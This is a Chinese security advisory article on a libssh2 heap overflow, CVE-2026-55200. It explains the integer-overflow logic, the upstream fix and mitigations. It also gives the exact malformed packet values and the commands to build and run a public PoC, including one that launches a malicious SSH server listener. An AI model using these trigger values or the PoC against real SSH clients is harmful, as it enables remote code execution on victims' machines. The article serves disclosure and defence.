导语:著名SSH客户端C语言库libssh2被曝严重漏洞,编号CVE-2026-55200。攻击者通过构造畸形SSH数据包,利用整数溢出绕过内存分配校验,可在目标系统上实现远程代码执行。目前POC已完整公开,所有1.11.1及以下版本均受影响。
一、漏洞概述
CVE-2026-55200 是 libssh2 库 src/transport.c 文件中 ssh2_transport_read() 函数的一个未检查SSH数据包长度导致的堆缓冲区溢出漏洞,可被利用实现远程代码执行(RCE)。
受影响版本:libssh2 ≤ 1.11.1(所有主流Linux发行版默认安装版本均受影响)
漏洞位置:src/transport.c:ssh2_transport_read()
漏洞类型:整数溢出 / 堆缓冲区溢出
上游修复提交:github.com/libssh2/libssh2/commit/97acf3dfda80c91c3a8c9f2372546301d4a1a7a8
二、漏洞原理详解
2.1 问题出在哪里
ssh2_transport_read() 函数在处理解密后的SSH数据包时,有一个全长计算+内存分配的逻辑段。漏洞代码的原始流程大致如下:
total_num = 4
packet_length = decoded SSH packet_length field // 攻击者可控
reject only if packet_length < 1
total_num += packet_length + mac_len + auth_len
reject if total_num > 35000 or total_num == 0
allocate total_num bytes
问题在于:packet_length 来自网络输入,在参与累加之前没有校验是否超过RFC规定的libssh2最大数据包上限,就直接与 mac_len 和 auth_len 相加写入了 total_num。
2.2 整数溢出的精确计算
当攻击者发送 packet_length = 0xffffffff(32位无符号整数的最大值)、mac_len = 0、auth_len = 16 时:
packet_length + mac_len + auth_len == 15 (mod 2^32)
4 + 15 == 19
也就是说,系统实际只分配了 19字节 的堆内存,但后续的全包处理阶段仍按原始 packet_length(0xffffffff,即约4GB)衍生的大小来操作这块缓冲区,包括 packet_length - 1 这样的长度计算。这直接导致越界写(heap buffer overflow)。
2.3 修复方案
上游修复在累加操作之前增加了一条校验:
// 新增的防护代码
if (packet_length > LIBSSH2_PACKET_MAXPAYLOAD) {
return LIBSSH2_ERROR_INVALID_DATA;
}
提前拒绝超长的 packet_length,从根本上堵住了整数溢出的触发条件。
三、POC分析
GitHub仓库 bikini/exploitarium 中已公开完整POC,共5个文件:
| 文件名 | 说明 |
|---|---|
cve_2026_55200_probe.c | 独立C11算术验证器,验证整数溢出条件 |
libpwn_cve_2026_55200_server.py | 恶意SSH服务器triggerscaffold,发送畸形加密数据包 |
libpwn_local_rce_harness.c | 受控本地漏洞目标,复现wrapped allocation→control模式 |
libpwn_local_rce_exploit.py | 本地exploit驱动,通过溢出覆盖回调指针实现RCE |
evidence/2026-06-23-local-harness-output.txt | 早期算术验证证据 |
重要声明:POC仅供本地研究、授权的CTF/HTB场景使用,请勿用于未授权系统。
四、验证方法
4.1 算术条件验证
gcc -std=c11 -Wall -Wextra -O0 -g -o cve_2026_55200_probe poc/cve_2026_55200_probe.c
./cve_2026_55200_probe
预期输出证明漏洞存在:
vulnerable32_decision=accepted
vulnerable32_allocation=19
fixed32_decision=rejected: out of boundary
native_unpatched_decision=accepted
result=PASS
4.2 恶意SSH服务器触发
# 自测验证
python poc/libpwn_cve_2026_55200_server.py --self-test
python poc/libpwn_cve_2026_55200_server.py --loopback-test --hold-open 0
# 作为恶意服务器监听(等待目标连接)
python poc/libpwn_cve_2026_55200_server.py --serve --listen-host 0.0.0.0 --listen-port 2222
服务器协商 curve25519-sha256 + RSA主机密钥认证 + chacha20-poly1305@openssh.com,随后发送解密后 packet_length = 0xffffffff 的畸形数据包。
4.3 本地RCE验证
gcc -O0 -g -Wall -Wextra -o poc/libpwn_local_rce_harness poc/libpwn_local_rce_harness.c
python poc/libpwn_local_rce_exploit.py --harness ./poc/libpwn_local_rce_harness --proof ./poc/libpwn_rce_proof.txt
cat poc/libpwn_rce_proof.txt
成功标志:RCE_PROOF=PASS,证明通过溢出覆盖回调指针实现了本地命令执行。
五、安全影响与受影响产品
libssh2是使用最广泛的SSH客户端C库之一,被大量主流工具直接或间接依赖:
- Git(通过libgit2)
- curl / Pycurl
- 各种SSH代理、隧道工具
- 多个编程语言的SSH绑定库
攻击者只需架设一个恶意SSH服务器,等待目标连接并发送畸形数据包,即可触发堆溢出获得代码执行权限。无需用户交互,攻击路径被动且隐蔽。
六、修复建议
- 升级libssh2:升级到官方发布的最新版本(≥ 1.11.2),或应用上游commit
97acf3df中的修复补丁 - 网络层防护:在边界防火墙对SSH流量进行适度异常检测,标记非标准长度的数据包
- 限制出站SSH连接:特别是自动连接未知SSH服务器的场景
- 关注供应链:确认所用工具的libssh2版本,及时跟进上游安全公告
参考链接:
- CVE详情:https://www.cve.org/CVERecord?id=CVE-2026-55200
- NVD:https://nvd.nist.gov/vuln/detail/CVE-2026-55200
- VulnCheck advisory:https://www.vulncheck.com/advisories/libssh2-out-of-bounds-write-via-unchecked-packet-length-in-transport-c
版权声明:本文由华盟网原创发布,保留所有权利。配图由华盟网授权使用。














暂无评论内容